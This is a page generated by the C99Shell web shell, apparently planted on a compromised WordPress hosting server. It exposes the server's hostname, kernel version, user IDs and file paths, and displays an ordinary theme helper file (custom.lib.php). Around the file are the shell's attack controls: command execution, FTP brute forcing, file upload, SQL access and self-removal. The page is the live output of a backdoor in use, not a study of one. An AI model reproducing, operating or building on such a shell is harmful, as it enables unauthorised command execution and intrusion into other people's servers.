!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/themes/kingsize/lib/   drwxr-xr-x
Free 180.46 GB of 490.84 GB (36.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     custom.lib.php (7.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*    Custom function to get current URL
**/
global $data;
function 
curPageURL() {
     
$pageURL 'http';
     if (
$_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
     
$pageURL .= "://";
     if (
$_SERVER["SERVER_PORT"] != "80") {
      
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
     } else {
      
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
     }
     return 
$pageURL;
}
    
function 
king_debug($arr)
{
    echo 
'<pre>';
    
print_r($arr);
    echo 
'</pre>';
}


function 
kingsize_pagination($pages ''$range 2)
{  
     
$showitems = ($range 2)+1;  

     global 
$paged,$data,$postParentPageID;

     if (
get_query_var('paged')) {
         
$paged get_query_var('paged');
     } elseif (
get_query_var('page')) {
         
$paged get_query_var('page');
     } else {
         
$paged 1;
     }

     if(
$pages == '')
     {
         global 
$wp_query;
         
$pages $wp_query->max_num_pages;
         if(!
$pages)
         {
             
$pages 1;
         }
     }   


     if(
!= $pages)
     {
        echo 
"<div class='pagination-container'>";
            
                    echo 
'<div id="pagination">';
                        
                        if(
$paged 1)     
                             echo 
"<div class='newer'><a href='".get_pagenum_link($paged 1)."'>".__('Newer entries &rarr;''kslang')."</a></div>";  
                    
                        if (
$paged $pages
                             echo 
"<div class='older'><a href='".get_pagenum_link($paged 1)."'>".__('&larr; Older entries''kslang')."</a></div>";

                    echo 
"</div>\n";
            
            
         echo 
"</div>\n";
     }

}
    


function 
king_breadcrumbs() {
 
  
$delimiter '&raquo;';
  
$name 'Home'//text for the 'Home' link
  
$currentBefore '<span class="current">';
  
$currentAfter '</span>';
 
  if ( !
is_home() && !is_front_page() || is_paged() ) {
 
    echo 
'<div id="crumbs">';
 
    global 
$post;
    
$home get_template_directory_uri();
    echo 
'<a href="' $home '">' $name '</a> ' $delimiter ' ';
 
    if ( 
is_category() ) {
      global 
$wp_query;
      
$cat_obj $wp_query->get_queried_object();
      
$thisCat $cat_obj->term_id;
      
$thisCat get_category($thisCat);
      
$parentCat get_category($thisCat->parent);
      if (
$thisCat->parent != 0) echo(get_category_parents($parentCatTRUE' ' $delimiter ' '));
      echo 
$currentBefore 'Archive by category &#39;';
      
single_cat_title();
      echo 
'&#39;' $currentAfter;
 
    } elseif ( 
is_day() ) {
      echo 
'<a href="' get_year_link(get_the_time('Y')) . '">' get_the_time('Y') . '</a> ' $delimiter ' ';
      echo 
'<a href="' get_month_link(get_the_time('Y'),get_the_time('m')) . '">' get_the_time('F') . '</a> ' $delimiter ' ';
      echo 
$currentBefore get_the_time('d') . $currentAfter;
 
    } elseif ( 
is_month() ) {
      echo 
'<a href="' get_year_link(get_the_time('Y')) . '">' get_the_time('Y') . '</a> ' $delimiter ' ';
      echo 
$currentBefore get_the_time('F') . $currentAfter;
 
    } elseif ( 
is_year() ) {
      echo 
$currentBefore get_the_time('Y') . $currentAfter;
 
    } elseif ( 
is_single() && !is_attachment() ) {
      
$cat get_the_category(); $cat $cat[0];
      echo 
get_category_parents($catTRUE' ' $delimiter ' ');
      echo 
$currentBefore;
      
the_title();
      echo 
$currentAfter;
 
    } elseif ( 
is_attachment() ) {
      
$parent get_post($post->post_parent);
      
$cat get_the_category($parent->ID); $cat $cat[0];
      echo 
get_category_parents($catTRUE' ' $delimiter ' ');
      echo 
'<a href="' get_permalink($parent) . '">' $parent->post_title '</a> ' $delimiter ' ';
      echo 
$currentBefore;
      
the_title();
      echo 
$currentAfter;
 
    } elseif ( 
is_page() && !$post->post_parent ) {
      echo 
$currentBefore;
      
the_title();
      echo 
$currentAfter;
 
    } elseif ( 
is_page() && $post->post_parent ) {
      
$parent_id  $post->post_parent;
      
$breadcrumbs = array();
      while (
$parent_id) {
        
$page get_page($parent_id);
        
$breadcrumbs[] = '<a href="' get_permalink($page->ID) . '">' get_the_title($page->ID) . '</a>';
        
$parent_id  $page->post_parent;
      }
      
$breadcrumbs array_reverse($breadcrumbs);
      foreach (
$breadcrumbs as $crumb) echo $crumb ' ' $delimiter ' ';
      echo 
$currentBefore;
      
the_title();
      echo 
$currentAfter;
 
    } elseif ( 
is_search() ) {
      echo 
$currentBefore 'Search results for &#39;' get_search_query() . '&#39;' $currentAfter;
 
    } elseif ( 
is_tag() ) {
      echo 
$currentBefore 'Posts tagged &#39;';
      
single_tag_title();
      echo 
'&#39;' $currentAfter;
 
    } elseif ( 
is_author() ) {
       global 
$author;
      
$userdata get_userdata($author);
      echo 
$currentBefore 'Articles posted by ' $userdata->display_name $currentAfter;
 
    } elseif ( 
is_404() ) {
      echo 
$currentBefore 'Error 404' $currentAfter;
    }
 
    if ( 
get_query_var('paged') ) {
      if ( 
is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
      echo 
__('Page''kslang') . ' ' get_query_var('paged');
      if ( 
is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
    }
 
    echo 
'</div>';
 
  }
}
    

function 
king_ago($timestamp){
   
$difference time() - $timestamp;
   
$periods = array("second""minute""hour""day""week""month""years""decade");
   
$lengths = array("60","60","24","7","4.35","12","10");
   for(
$j 0$difference >= $lengths[$j]; $j++)
   
$difference /= $lengths[$j];
   
$difference round($difference);
   if(
$difference != 1$periods[$j].= "s";
   
$text "$difference $periods[$j] ago";
   return 
$text;
}


// Substring without losing word meaning and
// tiny words (length 3 by default) are included on the result.
// "..." is added if result do not reach original string length

function king_substr($str$length$minword 3)
{
    
$sub '';
    
$len 0;
    
    foreach (
explode(' '$str) as $word)
    {
        
$part = (($sub != '') ? ' ' '') . $word;
        
$sub .= $part;
        
$len += strlen($part);
        
        if (
strlen($word) > $minword && strlen($sub) >= $length)
        {
            break;
        }
    }
    
    return 
$sub . (($len strlen($str)) ? '...' '');
}


function 
_substr($str$length$minword 3)
{
    
$sub '';
    
$len 0;
    
    foreach (
explode(' '$str) as $word)
    {
        
$part = (($sub != '') ? ' ' '') . $word;
        
$sub .= $part;
        
$len += strlen($part);
        
        if (
strlen($word) > $minword && strlen($sub) >= $length)
        {
            break;
        }
    }
    
    return 
$sub . (($len strlen($str)) ? '...' '');
}

function 
get_the_content_with_formatting ($more_link_text 'Read more'$stripteaser 0$more_file '') {
    global 
$data;
    
    if(
$data['wm_blog_words_count']>0)
        
$word_cnt $data['wm_blog_words_count'];
    else
        
$word_cnt 600;

    
$content get_the_content(''$stripteaser$more_file);
    
$content strip_shortcodes($content);
    
$content str_replace(']]>'']]&gt;'$content);
    
$content '<p>'._substr(strip_tags($content), $word_cnt).'</p>';
    
$content.= '<a class="read_more" href="'.get_permalink().'" title="'.get_the_title().'">'.$more_link_text.'</a><!-- Read more link -->';    
    return 
$content;
}

function 
image_from_description($data) {
    
preg_match_all('/<img src="([^"]*)"([^>]*)>/i'$data$matches);
    return 
$matches[1][0];
}



/* Change / add read more class of post*/
add_action'the_content_more_link''wpse63748_add_morelink_class'10);
function 
wpse63748_add_morelink_class$link$text )
{
    return 
str_replace(
        
'more-link',
        
'posts-read-more',
        
$link
    
);
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0098 ]--